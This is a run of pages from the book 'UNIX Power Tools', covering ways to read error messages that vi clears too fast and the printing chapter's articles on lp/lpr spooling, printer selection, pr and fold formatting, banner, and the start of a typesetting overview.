- JP

Previous: 42.6 Screen Size Testing Files | UNIX Power Tools | Next: 42.8 Errors Erased Too Soon? Try These Workarounds
42.6 Screen Size Testing Files | Book Index | 42.8 Errors Erased Too Soon? Try These Workarounds
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] 42.8 Errors Erased Too Soon? Try These Workarounds

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.7 termtest: Send Repeated Characters to Terminal Chapter 42
Problems with Terminals 		Next: 43. Printing

42.8 Errors Erased Too Soon? Try These Workarounds

I just made a change to my .exrc file (4.9). Then I started vi and noticed a message in reverse video before the screen cleared and my file was displayed. It was probably an error message. But vi, like some other programs, shows errors and then clears (erases) the screen before you can read them. Great design, eh?

Here are some workarounds:

  • When my terminal used to run at a slow data rate (1200 baud or less), I could usually read an error message before the screen cleared. In these days of 28,800 bps and above, you can still fake that. Log out. Then set your terminal or communications package to a slow data rate and log in again. Now look fast.

  • Way back, when ttys were real teletypes (41.2), finding errors was easy: there was no screen to clear; the error was right there on the paper.

    So, if your terminal has a printer, turn it on. (On DOS, try doing [CTRL]+[PrtSC].) Re-run your program and read the error on the paper.

  • If your window or communications program has a "capture to file" function, turn it on. Make the error happen. Turn off the capture function (important!). Then read the file - you'll probably need to use a program like cat -v (25.7) or vmore (25.5) to keep the screen-clearing characters stored in the file from erasing your screen as you read the file!

  • If you don't have a screen-capture function, but you do have the script (51.5) program, use it with the technique in the step above.

  • If your window has a scroll bar or a "page up" command, try it. Some screen-clear commands won't clear the scrolling memory.

  • Use tee (13.9) to grab the standard output and standard error to a file while you're viewing:

    |&

2>&1
    % vi foo |& tee saved_stuff   ...csh

$ vi foo 2>&1 | tee saved_stuff   ...sh

    Then look at the saved file with a pager program, possibly filtering it through cat -v (25.7) and/or fold (43.8) first. (The vmore script (25.5) was made for just this kind of job.)

  • Restart the program and get to the point just before the error will happen. Try to hit CTRL-s or HOLD SCREEN between the time the error is output and the screen clears. That can be tough to do over a network or on a high-speed connection, though, because of the delay between the time you press the key and the time when all the output finally stops coming.

  • Temporarily switch (6.10) to a termcap/terminfo definition that doesn't have a clear-screen capability. Two good settings for TERM are dumb and unknown.

  • That previous trick will leave your program almost useless, if it runs at all. If you do a lot of troubleshooting of full-screen programs like vi or writing startup files such as .exrc, it's worth your time to find a termcap or terminfo definition that has all the capabilities of the usual definition - except that it won't clear the screen. (You'll probably want to check the termcap capabilities cl=, is=, if=, rs=, rf=, r2=, and maybe ti=. Or, for terminfo, look at clear=, iprog=, is2=, if=, rs2=, rf=, and maybe smcup=.) If you don't know how, read O'Reilly & Associates' termcap & terminfo-or lure a UNIX guru from down the hall somewhere. [1]

    [1] Hint: all computer gurus like pizza.

- JP

Previous: 42.7 termtest: Send Repeated Characters to Terminal | UNIX Power Tools | Next: 43. Printing
42.7 termtest: Send Repeated Characters to Terminal | Book Index | 43. Printing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] Printing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.8 Errors Erased Too Soon? Try These Workarounds Chapter 43 Next: 43.2 Introduction to Printing on UNIX

43. Printing

Contents:
Introduction to Printing
Introduction to Printing on UNIX
Printer Control with lpc
Using Different Printers
Using Symbolic Links for Spooling
Printing to a Terminal Printer
Quick-and-Dirty Formatting Before Printing
Fixing Margins with pr and fold
Indenting Text for Printing
Filename Headers Above Files Without pr
Big Letters: banner
Typesetting Overview
The Text Formatters nroff, troff, ditroff, ...
nroff/troff and Macro Packages
From a Source File to the Printer
groff
Don't Have nroff? Try gnroff or awf
How nroff Makes Bold and Underline; How to Remove It
Removing Leading Tabs and Other Trivia
Displaying a troff Macro Definition
Preprocessing troff Input with sed
Converting Text Files to PostScript
psselect: Print Some Pages from a PostScript file
Other PostScript Utilities
The Portable Bitmap Package

43.1 Introduction to Printing

This chapter discusses printing, which is a surprisingly complicated subject. To understand why printing is so complicated, though, let's think a little bit about what you might want to print.

First, in the "olden days" we had line printers and their relatives: daisy wheel printers, dot matrix printers, and other pieces of equipment that generated typewriter-like output. Printing a simple text file was easy: you didn't need any special processing, you only needed some software to shove the file into the printer. If you wanted, you might add a banner page and do a little simple formatting, but that was really pretty trivial.

The one area of complexity in the printing system was the "spooling system," which had to do several things in addition to force-feeding the printer. Most printers were (and still are) shared devices. This means that many people can send jobs to the printer at the same time. There may also be several printers on which your file gets printed; you may care which one is used, you may not. The spooling system needs to manage all this: receiving data from users, figuring out whether or not an appropriate printer is in use, and sending the file to the printer (if it's free) or storing the file somewhere (if the printer isn't free).

Historical note: why is this called the "spooling system"? Dave Birnbaum, a Principal Scientist at Xerox, says:

"SPOOL (Simultaneous Printing Off and On Line)" It was written for the early IBM mainframes (of the 3 digit, i.e., 709 kind) and extended to the early 1401 machines. Output for the printer was sent to the spool system which either printed it directly or queued it (on tape) for later printing (hence the on/off line). There was also a 2nd generation version where the 1401 would act as the printer controller for the (by then) 7094. The two were usually connected by a switchable tape drive that could be driven by either machine." [There's some controversy about exactly what the acronym means, but Dave's is as good as any I've heard. -JP ]

The first few articles in this chapter, 43.2, 43.3, 43.4, and 43.5, discuss the basic UNIX spooling system, and how to work with it as a user. (We don't discuss the administrative aspects of spooling; that's a much more complicated topic, and not really appropriate for this book.) Article 43.6 shows one way to print to a terminal with its own printer.

The next few articles talk about how to format articles for printing - not the kind of fancy formatting people think of nowadays, but simpler things like pagination, margins, and so on, for text files that are to be sent to the line printer. Articles 43.7 through 43.10 describe this kind of simple formatting.

Historical note number two: why is the print spooler called lp or lpr? Because it typically spooled text to a line printer, a fast printer that used a wide head to print an entire line at a time. These printers are still common in data processing applications, and they can really fly!

In the mid-'70s, lots of UNIX people got excited about typesetting. Some typesetters were available that could be connected to computers, most notably the C/A/T phototypesetter. Programs like troff and TeX were developed to format texts for phototypesetters: letting computer people think that, because they could produce fancy output, they actually had some sense of design. Most of them didn't; if you go back to the early days of typesetting, or even of laser printers, you probably remember lots of incredibly ugly documents masquerading as "good designs." (Gothic fonts on a dot matrix printer? Get real.) But that's another story. Tools like troff, nroff (a troff equivalent that produces output for a standard terminal), and TeX are still with us, and still very valuable. They're discussed in articles 43.12 through 43.21.

Laser printers became commonplace in the mid-80s, allowing common people to do high-quality printing: almost as good (but not quite) as true typesetting. With laser printers came a widely used standard language, called PostScript, to drive the printer. Tools like troff and TeX now generated PostScript output files, which could be printed on any printer that understood the PostScript language. This was a big advantage: if you bought a new printer, you didn't have to change your software; you could ship a PostScript file cross-country and be reasonably sure the recipient could print it correctly. [1] However, another problem appeared. PostScript is a complicated language; things that were easy with a simple text file were now rather difficult. You can't just type up a letter and send it to your daisy wheel printer; you need to convert it into PostScript. It used to be easy to print "just a few pages" from the middle of a file, grep through a file to find something interesting, or to look at the file on your screen and read it. Not any more. We've ended this chapter with a few utilities for working with PostScript files. Unfortunately, not enough; I played with lots of them, and while there were some winners, there were many more losers: programs that worked sometimes but not most of the time. The winners are discussed in articles 43.22, 43.23, and 43.24.

[1] Documents were reasonably "portable" back in the line-printer era. Portability disappeared in the early days of computer typesetting, and only reappeared when PostScript became the dominant page description language. [PostScript doesn't help someone who doesn't have the exact fonts used in the PostScript file - unless the person who created the file included the fonts in it. -JP ]

Finally, article 43.25 is about the netpbm package. It's a useful tool for people who deal with graphics files. netpbm converts between different graphics formats.

- ML

Previous: 42.8 Errors Erased Too Soon? Try These Workarounds | UNIX Power Tools | Next: 43.2 Introduction to Printing on UNIX
42.8 Errors Erased Too Soon? Try These Workarounds | Book Index | 43.2 Introduction to Printing on UNIX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.2 Introduction to Printing on UNIX

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.1 Introduction to Printing Chapter 43
Printing 		Next: 43.3 Printer Control with lpc

43.2 Introduction to Printing on UNIX

Personal computers often have dedicated printers. A dedicated printer is connected to your machine and only you can use it. You can send it only one print job at a time and have to wait until the printing finishes before you can go back to work.

UNIX uses a print spooler to allow many users to share a single printer. A user can make a printing request at any time, even if the printer is currently busy. Requests are queued and processed in order as the printer becomes available.

UNIX permits multiple printers to be connected to the same system. If there is more than one printer, one printer is set up as the default printer and print jobs are automatically sent there.

43.2.1 System V Printing Commands

In System V, the lp command is used to queue a print job. (Berkeley systems' printer commands are explained below.) When you use lp, it spools the file for printing and returns the request id of your print job. The request id can later be used to cancel the print job, if you decide to do so.

$ lp notes
request-id is lp-2354 (1 file)

The lpstat command can be used to check on the status of your print jobs. The lpstat command will tell whether your job is in the queue.

$ lpstat
lp-2354          14519 fred     on lp

The message on lp indicates that the job is currently printing. If your job does not appear at all on the listing, it means your job has finished printing. If the job is listed, but the on lp message does not appear, then the job is still in the queue. You can see the status of all jobs in the queue with the -u option. You can cancel a job with the cancel command.

$ lpstat -u
lp-2354          14519 fred     on lp
lp-2355          21321 alice
lp-2356           9065 john
$ cancel lp-2356
lp-2356: cancelled

The lpstat command can be used to determine what printers are connected to your system and their names. If there is more than one printer, you can then use the -d option with lp to specify a printer destination other than the default. For instance, if a laser printer is configured as laserp, then you can enter:

$ lp -dlaserp myfile

43.2.2 Berkeley Printing Commands

BSD UNIX uses the lpr command to queue a print job. When you use lpr, it spools the file for printing.

$ lpr notes

Unlike System V lp, the lpr command doesn't print a request id. If you need to kill the job, use lpq first. The lpq command tells you the status of your print jobs.

$ lpq
lp is ready and printing
Rank   Owner      Job  Files                Total Size
active fred       876  notes                7122 bytes
1st    alice      877  standard input       28372 bytes
2nd    john       878  afile bfile ...      985733 bytes

The word active in the Rank column shows the job that's currently printing. If your job does not appear at all on the listing, it means your job has finished printing. If a job is not active, it's still in the queue.

You can remove a job with the lprm command. (First, run lpq to get the job number.)

$ lprm 877
dfA877host dequeued
cfA877host dequeued

The command lpc status (43.3) can be used to determine which printers are connected to your system and their names. If there is more than one printer, you can then use the -P option with lpr to specify a printer destination other than the default. For instance, if a laser printer is configured as laserp, then you can enter:

$ lpr -Plaserp myfile

The -P option also works with lpq and lprm. If you'll be using a certain printer often, put its name in the PRINTER environment variable (43.4).

- DD, TOR, JP

Previous: 43.1 Introduction to Printing | UNIX Power Tools | Next: 43.3 Printer Control with lpc
43.1 Introduction to Printing | Book Index | 43.3 Printer Control with lpc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.3 Printer Control with lpc

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.2 Introduction to Printing on UNIX Chapter 43
Printing 		Next: 43.4 Using Different Printers

43.3 Printer Control with lpc

The Berkeley lpc(8) command is mostly for the superuser. Everyone can use a few of its commands; this article covers those.

You probably don't have the /etc or /usr/etc directory in your search path (8.7), so you'll need to start lpc with its absolute pathname. You can type lpc commands at the lpc> prompt - then, when you're done, type exit (or CTRL-d).

% /etc/lpc
lpc> help status
status          show status of daemon and queue
lpc> ...
lpc> exit
%

Or you can type a single lpc command from the shell prompt:

% /etc/lpc status imagen
imagen:
        queuing is enabled
        printing is enabled
        no entries
        no daemon present
%

The printer daemon (1.14) watches the queue for jobs that people submit with lpr (43.2). If queueing is disabled (usually by the system administrator), lpr won't accept new jobs.

lpc controls only printers on your local host. lpc won't control printers connected to other hosts, though you can check the queue of jobs (if any) waiting on your local computer for the remote printer.

The commands anyone can use are:

restart [printer ]

This tries to start a new printer daemon. Do this if something makes the daemon die while there are still jobs in the queue (lpq or lpc status will tell you this). It's worth trying when the system administrator is gone and the printer doesn't seem to be working. The printer name can be all to restart all printers. The printer name doesn't need an extra P. For example, to specify the foobar printer to lpr, you'd type lpr -Pfoobar. With lpc, use a command like restart foobar.

status [printer ]

Shows the status of daemons and queues on the local computer (see the preceding example). The printer name can be all to show all printers.

help [command ]

By default, gives a list of lpc commands, including ones for the superuser only. Give it a command name and it explains that command.

exit

Quits from lpc.

- JP

Previous: 43.2 Introduction to Printing on UNIX | UNIX Power Tools | Next: 43.4 Using Different Printers
43.2 Introduction to Printing on UNIX | Book Index | 43.4 Using Different Printers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.4 Using Different Printers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.3 Printer Control with lpc Chapter 43
Printing 		Next: 43.5 Using Symbolic Links for Spooling

43.4 Using Different Printers

Each printer on your system should have a name. By default, commands that send a file to a printer assume that the printer is named lp-which probably stands for "line printer" (though it could stand for "laser printer"). If you're using a single-user workstation, and have a printer connected directly to your workstation, you can name your printer lp and forget about it.

However, in most environments, there are more options available: e.g., there are several printers in different parts of the building that you can choose from. Often, only one printer will be able to print your documents: you may need to send your print jobs to a PostScript printer, not the line printer that the accounting department uses for billing.

There are two ways to choose a printer:

  • Printing commands that originate with BSD UNIX accept the option -Pprinter. This includes lpr (43.2), various scripts to format typeset documents, etc. For example, lpr -Pps file.ps sends the file file.ps to the printer named ps. (By the way, ps is probably the second most common printer name, after lp.)

  • Commands that originate with BSD UNIX recognize the PRINTER environment variable (6.1); if PRINTER is defined, the command will read its value and choose a printer accordingly. So the command:

    % setenv PRINTER ps  - or
$ PRINTER=ps ; export PRINTER

    ensures that the BSD print commands will send your documents to the printer named ps.

  • Commands that originate with System V UNIX (such as lp) use the -d option to select a printer. So lp -d pr file.ps sends file.ps to the printer named pr; it's equivalent to the previous lpr example.

  • Commands that originate with System V UNIX look for an environment variable named LPDEST, rather than PRINTER. So:

    % setenv LPDEST ps  - or
$ LPDEST=ps ; export LPDEST

    ensures that the System V print commands will send your documents to the printer named ps.

Note that System V Release 4 includes both the System V and BSD print commands (lp and lpr). This can make things confusing, particularly if you're using a script to process troff or TeX documents, and that script automatically sends your documents to the printer. Unless you know how the script works, you won't know which variable to set. I'd suggest setting both PRINTER and LPDEST.

By the way, if you only have one printer, but you've given it some name other than lp, the same solution works: just set PRINTER or LPDEST to the appropriate name.

- ML

Previous: 43.3 Printer Control with lpc | UNIX Power Tools | Next: 43.5 Using Symbolic Links for Spooling
43.3 Printer Control with lpc | Book Index | 43.5 Using Symbolic Links for Spooling
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.5 Using Symbolic Links for Spooling

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.4 Using Different Printers Chapter 43
Printing 		Next: 43.6 Printing to a Terminal Printer

43.5 Using Symbolic Links for Spooling

When you print a file, the file is copied to a "spooling directory." This can be a problem if you want to print a very large file: the copy operation might take a long time, or the act of copying might fill the spooling directory's filesystem.

On BSD UNIX systems, the lpr command provides a workaround for this problem. The -s option makes a symbolic link (18.4) to your file from the spooling directory.

Here's such a command:

% lpr -s directions

Rather than copying directions, lpr creates a symbolic link to directions. The symbolic link is much faster, and you're unlikely to get a "filesystem full" error.

Using a symbolic link has one important side effect. Because the file isn't hidden away in a special spooling directory, you can delete or modify it after you give the lpr command, and before the printer is finished with it. This can have interesting side effects; be careful not to do it.

Of course, this warning applies only to the file that actually goes to the printer. For example, when you format a troff (43.13) file for a PostScript printer, you can continue to modify the troff file. If the PostScript file is spooled with lpr -s, you'd have to be careful about it. However, this isn't likely to be a problem. Most users use some kind of formatting script to run troff, and the formatting script prevents you from seeing, or mucking with, the PostScript file.

- ML

Previous: 43.4 Using Different Printers | UNIX Power Tools | Next: 43.6 Printing to a Terminal Printer
43.4 Using Different Printers | Book Index | 43.6 Printing to a Terminal Printer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.6 Printing to a Terminal Printer

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.5 Using Symbolic Links for Spooling Chapter 43
Printing 		Next: 43.7 Quick-and-Dirty Formatting Before Printing

43.6 Printing to a Terminal Printer

Does your terminal have an extra port on the back for plugging in a printer? You might be able to hook up a serial printer to the port. Then you can make a little shell script named something like myprint and use it this way:

% myprint somefile
% someprogram | myprint

The myprint shell script can be as simple as this:

echo "\033[5i\c"
cat $*
echo "\033[4i\c"

or this:

escape=`echo -n e | tr e '\033'`
echo -n "$escape[5i"
cat $*
echo -n "$escape[4i"

depending on what version of echo your UNIX has . (46.10) Your terminal may need different escape sequences; these are for a VT100-compatible terminal. (Articles 41.10 and 5.2 can help.) Some terminals may require a newline after the escape sequences; if yours doesn't work, try the echo commands without the /c or -n. If your printer seems to lose characters, you may have flow-control problems. Try using a slower data rate to the terminal.

- JP

Previous: 43.5 Using Symbolic Links for Spooling | UNIX Power Tools | Next: 43.7 Quick-and-Dirty Formatting Before Printing
43.5 Using Symbolic Links for Spooling | Book Index | 43.7 Quick-and-Dirty Formatting Before Printing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.7 Quick-and-Dirty Formatting Before Printing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.6 Printing to a Terminal Printer Chapter 43
Printing 		Next: 43.8 Fixing Margins with pr and fold

43.7 Quick-and-Dirty Formatting Before Printing

The line printer spooler (43.2) prints what you send it. If you send it a continuous stream of text (and the printer is set up to print text files rather than PostScript), that's just what you'll probably get: no page breaks, indenting, or other formatting features.

That's where pr comes in. It's a simple formatter that breaks its input into "pages" that will fit onto a standard 66-line page. (Well, US standard anyway.) It adds a header that automatically includes the date and time, the file name, and a page number. It also adds a footer that ensures that text doesn't run off the bottom of the page.

This is just what you want if you are sending program source code or other streams of unbroken text to a printer. For that matter, pr is often very handy for sending text to your screen. In addition to its default behavior, it has quite a few useful options:

-f

Separate pages using formfeed character (^L) instead of a series of blank lines.

-h str

Replace default header with string str. See article 35.17.

-l n

Set page length to n (default is 66).

-m

Merge files, printing one in each column (can't be used with -num and -a). Text is chopped to fit. See article 35.17. This is a poor man's paste (35.18).

-s c

Separate columns with c (default is a tab).

-t

Omit the page header and trailing blank lines.

-w num

Set line width for output made into columns to num (default is 72).

+num

Begin printing at page num (default is 1).

-n

Produce output having n columns (default is 1). See article 35.17.

There are also options that apply only to the System V version:

-a

Multi-column format; list items in rows going across.

-d

Double-spaced format.

-e cn

Set input tabs to every nth position (default is 8), and use c as field delimiter (default is a tab).

-F

Fold input lines (avoids truncation by -a or -m).

-i cn

For output, replace white space with field delimiter c (default is a tab) every nth position (default is 8).

-n cn

Number lines with numbers n digits in length (default is 5), followed by field separator c (default is a tab). See also nl.

-o n

Offset each line n spaces (default is 0).

-p

Pause before each page.

-r

Suppress messages for files that can't be found.

Let's put this all together with a couple of examples:

  • Print a side-by-side list, omitting heading and extra lines:

    pr -m -t list.1 list.2 list.3

  • Alphabetize a list of states; number the lines in five columns. First, with the System V options:

    sort states_50 | pr -n -5

    On a BSD system, which doesn't support -n, you can use cat -n (25.21) to supply the line numbers:

    sort states_50 | cat -n | pr -5

    To get output on BSD that's identical to System V, you'll need to set a column length:

    sort states_50 | cat -n | pr -t -5 - | 10 | pr -h states_50

- TOR

Previous: 43.6 Printing to a Terminal Printer | UNIX Power Tools | Next: 43.8 Fixing Margins with pr and fold
43.6 Printing to a Terminal Printer | Book Index | 43.8 Fixing Margins with pr and fold
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.8 Fixing Margins with pr and fold

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.7 Quick-and-Dirty Formatting Before Printing Chapter 43
Printing 		Next: 43.9 Indenting Text for Printing

43.8 Fixing Margins with pr and fold

The System V version of pr (43.7) has a -F option for folding lines that are too wide for the output page: the printer won't truncate them. If you print lots of random data and stuff that may have long lines and your pr doesn't have -F, try the fold command instead.

fold arbitrarily breaks lines that are too long, by default at 80 columns. Use -width where width is the desired column to fold at for some other breaking point.

I made an alias (10.2) and shell function (10.9) called prF to do that. It prints a single file and puts the filename in the pr heading (usually, if you pipe to pr, it won't know the filename). You might want to add | lpr onto the end of this, too:

alias prF 'fold \!^ | pr -h "\!^"'

csh_init
sh_init
A good way to see which lines are folded is with line numbering. pr versions without -F usually don't have -n either. You can add it to your alias with cat -n (25.21). The lines will be numbered before they're folded:

alias prnF 'cat -n \!^ | fold | pr -h "\!^"'

To shorten lines by folding them after a word near the right-hand end (instead of at some particluar column), try fmt (35.2).

- JP

Previous: 43.7 Quick-and-Dirty Formatting Before Printing | UNIX Power Tools | Next: 43.9 Indenting Text for Printing
43.7 Quick-and-Dirty Formatting Before Printing | Book Index | 43.9 Indenting Text for Printing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.9 Indenting Text for Printing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.8 Fixing Margins with pr and fold Chapter 43
Printing 		Next: 43.10 Filename Headers Above Files Without pr

43.9 Indenting Text for Printing

If you want to print a file that has plain text (not PostScript or some other page description language), you can indent the printout by adding some spaces to the start of each line. Use sed (34.24) to add a TAB or two (if your printer can handle TABs) - otherwise, spaces - to the start of each line. Here's a simple command that adds four spaces to the start of each line of the logdata file, then prints with lpr:

% sed 's/^/    /' logdata | lpr

You'll run into trouble if the file you're printing has any TABs in it though, because the extra spaces at the start of each line can mess up the tabstops. In that case, expand tabs (41.4) first:

% expand logdata | sed 's/^/    /' | lpr

The pr (43.7) command makes a nicely formatted printout. You can indent its output, too. If your pr doesn't have a -o (offset) switch, though, pipe its output through sed:

% pr logdata | sed 's/^/    /' | lpr

That doesn't always work. If there are TABs in the file, pr may not expand them - though some versions of pr have a -e switch to do that. Also, your indentation will indent the heading on each page - too much indentation can shove the heading off the right-hand side of the paper. Here's a better command to handle those problems. It expands the TABs and indents the body but doesn't indent the heading:

% expand logdata | sed 's/^/    /' | pr -h logdata | lpr

The -h logdata puts the filename at the top of each page (because pr can't get the name otherwise). Omit that if you don't want it.

The offset (35.7) script lets you set the indentation with a command-line option.

- JP

Previous: 43.8 Fixing Margins with pr and fold | UNIX Power Tools | Next: 43.10 Filename Headers Above Files Without pr
43.8 Fixing Margins with pr and fold | Book Index | 43.10 Filename Headers Above Files Without pr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.10 Filename Headers Above Files Without pr

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.9 Indenting Text for Printing Chapter 43
Printing 		Next: 43.11 Big Letters: banner

43.10 Filename Headers Above Files Without pr

The pr command (43.7) displays your files with a nice header above them. But it can also add a bunch of blank lines to fill a page and break the file to add more headers in the middle if the file is longer than a page. This article shows alternatives to pr that print a single header followed by the entire file, with no extra blank lines or page breaks.

  1. When you redirect the output of more (25.3) (or pg) somewhere besides a terminal, it doesn't stop at the end of a screenful. It prints a little header above each file and outputs all the files at once. Instead of redirecting the output to a file, you could pipe it to another program - like your print spooler:

cat

    % more file* > package
% cat package
::::::::::::::
file1
::::::::::::::
...contents of file1....
::::::::::::::
file2
::::::::::::::
...contents of file2....
...

    Another way to get similar headers is a feature of head (25.20): when you give multiple filenames, it adds a header above each. To be sure head gives you all of your file (not just the head), use a line count bigger than any of your files, with a command like head -10000.

  2. Bourne shell for loops with redirected output (45.22) let you combine a bunch of commands and grab the output of all of them at once. Here's a loop that runs ls -l on each file. It uses awk (33.11) to print just the file's permissions (field 1), last modification date (fields 6-8), and name (field 9, not including any name from a symbolic link). (You could pipe use more awk formatting to make a fancier heading - and get rid of the echo commands, too.) The output is redirected to a file named printme; as already stated, a pipe to your printer program will also work.

    $ for f in file*
> do
> echo =====================================
> ls -l $f | awk '{print $1, $6, $7, $8, $9}'
> echo =====================================
> cat $f
> done > printme
$ cat printme
=============================================
-rw-r----- Oct 28 07:28 file1
=============================================
...contents of file1....
=============================================
-r--r--r-- Nov  3 09:35 file2
=============================================
...contents of file2....
...

If you use those last two tricks a lot, you might put them into an alias, function, or shell script (10.1).

- JP

Previous: 43.9 Indenting Text for Printing | UNIX Power Tools | Next: 43.11 Big Letters: banner
43.9 Indenting Text for Printing | Book Index | 43.11 Big Letters: banner
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.11 Big Letters: banner

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.10 Filename Headers Above Files Without pr Chapter 43
Printing 		Next: 43.12 Typesetting Overview

43.11 Big Letters: banner

 #####   ######    ##    #####          #####  #    #     #     ####
 #    #  #        #  #   #    #           #    #    #     #    #
 #    #  #####   #    #  #    #           #    ######     #     ####
 #####   #       ######  #    #           #    #    #     #         #   ###
 #   #   #       #    #  #    #           #    #    #     #    #    #   ###
 #    #  ######  #    #  #####            #    #    #     #     ####    ###

I made that with the System V version of banner by typing:

banner "read this."

Each argument (10 or fewer characters) is printed to the standard output (13.1) in letters like those. I quoted my two words to keep them together. If you type separate arguments, banner will print them down the page.

The Berkeley version of banner prints big letters, too. But they're much bigger and they're output sideways for a continuous-form printer. These banners are great for parties. The default is 132 characters high, enough for a wide printer or a smaller printer in compressed-type mode. Use the -w option to get 80-column width; add a number for a different width, like -100, to get 100-character width.

This program is usually in the /usr/games directory. Although you can type the message on the command line, it's easier to type at the (undocumented) Message: prompt because you won't have to quote special characters. For example:

% /usr/games/banner -w | lpr -Ptractor
Message: * * Happy Birthday, Alice!! * *

If you don't have a continuous-form printer, you can piece together separate pages with a csh foreach loop (9.11) or an sh for loop (9.12), some scissors, and a roll of tape ;-):

'..'

% foreach page (Pay me '$10, '000)
? /usr/games/banner -w "$page" | lpr -Plaser
? end

Remember to quote special characters.

- JP

Previous: 43.10 Filename Headers Above Files Without pr | UNIX Power Tools | Next: 43.12 Typesetting Overview
43.10 Filename Headers Above Files Without pr | Book Index | 43.12 Typesetting Overview
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.12 Typesetting Overview

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.11 Big Letters: banner Chapter 43
Printing 		Next: 43.13 The Text Formatters nroff, troff, ditroff, ...

43.12 Typesetting Overview

In the early '80s, one thing that made UNIX popular was that it came with its own typesetting system. It was the first operating system that could really let users produce high-quality documents using laser printers. Although there are probably more fancy editors available for Macintosh systems, high-quality printing is still a part of the UNIX experience.

In this article, we'll discuss briefly the different typesetters that are available for UNIX. We won't describe any of the systems in detail, but we'll give enough information so that you'll know what options are available.

43.12.1 troff

This is the grand-daddy of UNIX typesetters. It's the oldest program that we'll discuss. It's a batch-oriented, markup-based language. This means that you insert typesetting commands directly into your document. You write documents with a regular text editor, like vi or emacs, process them with the troff command (or, more likely, by invoking some kind of "format" shell script), and see the output on a laser printer. In fact, troff files are really more like "programs" than traditional "text files."

troff comes with three preprocessors that handle equations (eqn), tables (tbl), and simple line drawings (pic). The equation and table processors are reasonably good; the drawing program has some interesting features, but really isn't worth the trouble. If you need a lot of illustrations (or high-quality illustrations), use a tool like FrameMaker or Interleaf, or some dedicated illustration program, and insert the results into your troff document.

troff is surprisingly flexible, although taking advantage of its flexibility is difficult. For example, this book was written with troff; we've added index, cross reference, and table-of-contents packages (see article 43.13). Although it's obsolete, quirky, and difficult, we find that troff is still better for large typesetting jobs, particularly books.

At one time, troff was supplied with all UNIX systems. That's no longer true; these days, you often have to buy it as an extra-cost product, particularly if you're using System V. Unfortunately, if troff comes with your system, it's probably the old and moldy version that was designed to work with a particular obsolete phototypesetter. By hacking it to death, it has been made to work with modern printers of all sorts. But you're better off spending the money and getting device independent troff; you'll get much better results.

Of course, now that vendors are making money from troff, some third party vendors such as SoftQuad and Elan are selling enhanced versions. Given the language's basic warts, this is probably a good thing. The Free Software Foundation also has a version of troff called groff (43.16).

43.12.2 TeX

TeX is a typesetting language that was designed in the '70s by Donald Knuth, primarily so he could write his Art of Computer Programming books. I am not a fan of TeX, and readers of this section should be forewarned. Really, in my opinion, TeX is not much worse than troff. But it's also not much better, despite many claims to the contrary.

TeX is a complete programming language. Like troff, you add typesetting commands to your text as you write it, and then process the document with some kind of formatting command. TeX's syntax is much more like a programming language than a "simple markup language." However, if troff's syntax is graceless, TeX's is decidedly ugly. If you write a lot of software, you might like it. If you don't write software, you might get used to it with time. I don't find LaTeX (a macro package that makes TeX look like Scribe, which we'll discuss later) to be a significant improvement, though it's admittedly simpler. If you want to write your own macro package, the difference between TeX and troff is a toss-up; whichever you choose, the task requires a lot of black magic.

TeX's biggest strength is typesetting equations, for which it really doesn't have an equal. (troff's eqn preprocessor will do the job, but isn't anywhere near as flexible.) It doesn't have a drawing processor, though I have seen versions of troff's pic preprocessor that work with TeX. However, if you need illustrations, you'll need to develop them with some other tools and insert the results into your TeX document.

